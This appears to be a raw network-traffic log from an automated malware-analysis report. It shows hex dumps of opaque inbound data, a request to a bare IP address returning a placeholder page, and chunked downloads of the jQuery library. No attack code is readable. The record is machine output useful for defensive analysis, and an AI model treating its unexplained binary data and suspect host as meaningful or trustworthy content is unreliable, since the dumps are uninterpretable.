Dec 18, 2024 23:24:09.583887100 CET	1236	IN	Data Raw: 01 94 b6 58 e0 22 ba b4 02 6e d7 f3 b1 20 79 00 dd a1 53 08 45 49 6f 62 24 6a 10 c1 bd 9e 4f d6 d3 9c 82 fa ae 27 0d 8b 34 23 a4 a5 43 0e e7 14 46 f8 c9 e1 b4 91 4b c5 12 fa 19 73 84 4f d9 ee af a0 63 a8 50 67 4e 80 ea f0 3c 0a 24 6a 4f d0 b2 e7 Data Ascii: X"n ySEIob$jO'4#CFKsOcPgN<$jO1t{"+<S?RK)*rcw$dE3B)%oi%JQ0h:!=G>6'DhLa\6>WB.OxWH<!EC0zT_
Dec 18, 2024 23:24:09.583901882 CET	164	IN	Data Raw: 5a 45 fd 08 0e 07 c7 0f da f3 83 74 07 88 f2 20 30 a7 86 43 50 21 cd 3d 90 9c 2e 36 03 4e 8e a2 a3 83 f8 09 a7 89 51 52 fd 71 d2 46 98 98 91 4b 3c 5a a5 11 7c e5 06 64 aa b9 45 29 f5 e1 97 25 b4 dd 6e 30 33 cf b7 e8 a7 b9 b9 2d 6d 79 bf 73 80 c3 Data Ascii: ZEt 0CP!=.6NQRqFK<Z\|dE)%n03-mys=,t;0VQ( W_=?_\NoWpGe#2

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 23:24:10.001686096 CET	267	OUT	GET / HTTP/1.1 Host: 154.216.17.193 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 18, 2024 23:24:11.426783085 CET	351	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:11 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 21 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 53 69 74 65 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 21 21 Data Ascii: Site is coming soon!!

Timestamp	Bytes transferred	Direction	Data
2024-12-18 22:24:11 UTC	608	OUT	GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 22:24:11 UTC	956	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:11 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"603e8adc-15d9d" Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1691037 Expires: Mon, 08 Dec 2025 22:24:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T8jEFpmaE9geyQJ1RokTxbrkaUb7wuO5EBRULmOJOLawVdsLczQVB8hLCf1spj%2BiDnMNXlzAru5bBska96DeK5SkbzALTUH1Q5Uc30aErB9EiCez6F0UQwK6PgSaeQxhrpOR3ec9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f428fc7f89b729b-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 22:24:11 UTC	413	IN	Data Raw: 33 39 37 34 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 3974/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e Data Ascii: ypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 Data Ascii: :function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pus
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 Data Ascii: (e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.le
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 Data Ascii: +M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\\((('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\\)\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f Data Ascii: )+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 Data Ascii: ];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 Data Ascii: r=e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(fu
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b Data Ascii: [r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[
2024-12-18 22:24:11 UTC	1369	IN	Data Raw: 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 Data Ascii: ent("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disable

Timestamp	Bytes transferred	Direction	Data
2024-12-18 22:24:13 UTC	380	OUT	GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 22:24:14 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"603e8adc-15d9d" Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1691040 Expires: Mon, 08 Dec 2025 22:24:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wbXtrLFOW8PrKxKpR5gdRNRkbx5uKsy2xUDxJrYoZyWc9H2ppn6Lh7iZjIG7ehJkiz45av3wa990JOijjoImSfWYrUN%2BUxwWJnGCrZF4zIPexGGEbFztMFKSgDWnNJIS%2FUypvirz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f428fd7bd6ec411-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 22:24:14 UTC	411	IN	Data Raw: 33 39 37 33 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 3973/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 Data Ascii: otypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 Data Ascii: st:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.p
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e Data Ascii: ll(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d Data Ascii: )"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\\((('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\\)\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\]
